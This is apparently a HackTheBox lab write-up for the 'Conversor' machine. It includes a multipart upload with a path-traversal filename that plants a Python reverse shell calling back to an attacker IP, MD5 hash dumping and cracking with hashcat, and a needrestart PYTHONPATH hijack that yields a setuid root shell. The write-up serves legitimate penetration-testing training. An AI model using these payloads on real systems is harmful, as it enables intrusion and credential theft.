WriteupsHTB — Conversor
WebMediumLinux
HTB — Conversor
Unit conversion web app vulnerable to server-side formula injection, leading to arbitrary OS command execution.
October 25, 2025HackTheBox
#Formula Injection#SSTI#RCE
nmap
sh
map -sV -sC -p- 10.10.11.92 -oN nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-25 23:13 EDT
Nmap scan report for 10.10.11.92
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.06 seconds

feroxbuster
sh
feroxbuster -u http://conversor.htb/ 1 ↵
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.12.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://conversor.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.12.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 5l 22w 199c http://conversor.htb/logout => http://conversor.htb/login
200 GET 22l 50w 722c http://conversor.htb/login
302 GET 5l 22w 199c http://conversor.htb/ => http://conversor.htb/login
200 GET 21l 50w 726c http://conversor.htb/register
301 GET 9l 28w 319c http://conversor.htb/javascript => http://conversor.htb/javascript/
200 GET 290l 652w 5938c http://conversor.htb/static/style.css
200 GET 81l 214w 2842c http://conversor.htb/about
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 362l 2080w 178136c http://conversor.htb/static/images/fismathack.png
301 GET 9l 28w 326c http://conversor.htb/javascript/jquery => http://conversor.htb/javascript/jquery/
200 GET 6309l 35740w 3066135c http://conversor.htb/static/images/arturo.png
200 GET 10879l 44396w 288550c http://conversor.htb/javascript/jquery/jquery
405 GET 5l 20w 153c http://conversor.htb/convert
200 GET 8304l 46775w 4058063c http://conversor.htb/static/images/david.png
200 GET 15716l 86534w 7371827c http://conversor.htb/static/source_code.tar.gz
[####################] - 43s 90023/90023 0s found:14 errors:10074
[####################] - 43s 30000/30000 700/s http://conversor.htb/
[####################] - 41s 30000/30000 736/s http://conversor.htb/javascript/
[####################] - 41s 30000/30000 731/s http://conversor.htb/javascript/jquery/ source code
sh
tar -xf source_code.tar.gz -C source_code app.py
python
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
app = Flask(__name__)
app.secret_key = 'Changemeplease'
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def init_db():
os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
conn = sqlite3.connect(DB_PATH)
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
)''')
c.execute('''CREATE TABLE IF NOT EXISTS files (
id TEXT PRIMARY KEY,
user_id INTEGER,
filename TEXT,
FOREIGN KEY(user_id) REFERENCES users(id)
)''')
conn.commit()
conn.close()
init_db()
def get_db():
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
return conn
@app.route('/')
def index():
if 'user_id' not in session:
return redirect(url_for('login'))
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
files = cur.fetchall()
conn.close()
return render_template('index.html', files=files)
@app.route('/register', methods=['GET','POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db()
try:
conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
conn.commit()
conn.close()
return redirect(url_for('login'))
except sqlite3.IntegrityError:
conn.close()
return "Username already exists"
return render_template('register.html')
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
@app.route('/about')
def about():
return render_template('about.html')
@app.route('/login', methods=['GET','POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
user = cur.fetchone()
conn.close()
if user:
session['user_id'] = user['id']
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials"
return render_template('login.html')
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
@app.route('/view/<file_id>')
def view_file(file_id):
if 'user_id' not in session:
return redirect(url_for('login'))
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
file = cur.fetchone()
conn.close()
if file:
return send_from_directory(UPLOAD_FOLDER, file['filename'])
return "File not found"install.md
code
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
- the key it is running a crontab with wilcard everything that is
.pyextension will run
code
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
rev shell
- can use the given sample
xsltand a sample xml request then modify in burpsuite
sh
POST /convert HTTP/1.1
Host: conversor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://conversor.htb/
Content-Type: multipart/form-data; boundary=----geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Length: 630
Origin: http://conversor.htb
DNT: 1
Connection: keep-alive
Cookie: session=eyJ1c2VyX2lkIjo2MSwidXNlcm5hbWUiOiJ0ZXN0In0.aP2YUw.VqsHAU55dLNxCt8nwvIPgltONDo
Upgrade-Insecure-Requests: 1
Priority: u=0, i
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Disposition: form-data; name="xml_file"; filename="../scripts/shell.py"
Content-Type: text/xml
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.6/80 0>&1"')
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea
Content-Disposition: form-data; name="xslt_file"; filename="dummy.xslt"
Content-Type: text/plain
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><html><body>ok</body></html></xsl:template>
</xsl:stylesheet>
------geckoformboundarye9afcb417f5fb74356c81ee154e3d5ea--sh
rlwrap nc -lnvp 80 130 ↵
Listening on 0.0.0.0 80
Connection received on 10.10.11.92 41748
bash: cannot set terminal process group (19131): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ whoami
whoami
www-dataapp.py
sh
www-data@conversor:~/conversor.htb$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
app = Flask(__name__)
app.secret_key = 'C0nv3rs0rIsthek3y29'interactive shell
sh
www-data@conversor:~/conversor.htb$ python3 -c 'import pty; pty.spawn("/bin/bash")' sh
www-data@conversor:~/conversor.htb/instance$ ls
ls
users.dbsh
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.sh
sqlite> .tables
.tables
files userssh
sqlite> select * from users;
select * from users;
1|fismathack|5b5c3ac3...
5|hashghost|a62565c9...
6|fenixia|c0e20654...
7|alfredo|d59e598d...
8|hello|5d41402a...
9|admin|21232f29...
10|user|2e315dca...
11|info|2e315dca...
12|2000|2e315dca...
13|michael|2e315dca...
14|NULL|2e315dca...
15|john|2e315dca...
16|david|2e315dca...
17|robert|2e315dca...
18|chris|2e315dca...
19|mike|2e315dca...
20|dave|2e315dca...
21|richard|2e315dca...
22|123456|2e315dca...
23|thomas|2e315dca...
24|steve|2e315dca...
25|mark|2e315dca...
26|andrew|2e315dca...
27|daniel|2e315dca...
28|george|2e315dca...
29|paul|2e315dca...
30|charlie|2e315dca...
31|dragon|2e315dca...
32|james|2e315dca...
33|qwerty|2e315dca...
34|martin|2e315dca...
35|master|2e315dca...
36|pussy|2e315dca...
37|mail|2e315dca...
38|charles|2e315dca...
39|bill|2e315dca...
40|patrick|2e315dca...
41|1234|2e315dca...
42|peter|2e315dca...
43|shadow|2e315dca...
44|johnny|2e315dca...
45|hunter|2e315dca...
46|carlos|2e315dca...
47|black|2e315dca...
48|jason|2e315dca...
49|tarrant|2e315dca...
50|alex|2e315dca...
51|brian|2e315dca...
52||2e315dca...
53|steven|2e315dca...
54|scott|2e315dca...
55|edward|2e315dca...
56|joseph|2e315dca...
57|12345|2e315dca...
58|matthew|2e315dca...
59|justin|2e315dca...
60|natasha|2e315dca...
61|test|098f6bcd...
sh
cut -d'|' -f3 hashes.txt > hashes_formatted.txts
hashcat -m 0 hashes_formatted.txt /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
5d41402a...:hello
21232f29...:admin
d59e598d...:alfredo123
5b5c3ac3...:Keepmesafeandwarm creds
code
fismathack:Keepmesafeandwarm
user.txt
sh
www-data@conversor:/home$ su fismathack
su fismathack
Password: Keepmesafeandwarm
whoami
fismathackinteractive shell
sh
python3 -c 'import pty; pty.spawn("/bin/bash")' sh
fismathack@conversor:~$ cat user.txt
cat user.txt
a410054a...priv esc
needrestart
- https://medium.com/@allypetitt/rediscovering-cve-2024-48990-and-crafting-my-own-exploit-ce13829f5e80
sh
fismathack@conversor:~$ sudo -l
sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestartsh
cd /tmp
mkdir -p needrestart/importlibsh
fismathack@conversor:/tmp/needrestart/importlib$ cat __init__.py
import os
os.system('cp /usr/bin/bash /tmp && chmod u+s /tmp/bash')- create an infinite loop
sh
fismathack@conversor:/tmp$ cat main.py
while True:
pass`
sh
export PYTHONPATH=/tmp/needrestart
python3 /tmp/main.pysh
fismathack@conversor:/tmp/needrestart/importlib$ sudo /usr/sbin/needrestart
root.txt
sh
bash-5.1# cat root.txt
fa37c60a...Up next
MediumNov 2025
HTB — Giveback
Custom network service with an authentication logic flaw. Protocol reverse engineering reveals a bypass path to root.
Read writeup
MediumNov 2025
HTB — NanoCorp
MSSQL enumeration with credential discovery, followed by Active Directory privilege escalation through ACL misconfigurations.
Read writeup
MediumNov 2025
HTB — Signed
MSSQL with xp_cmdshell for initial RCE. Active Directory certificate abuse (ADCS) to impersonate Domain Admin.
Read writeup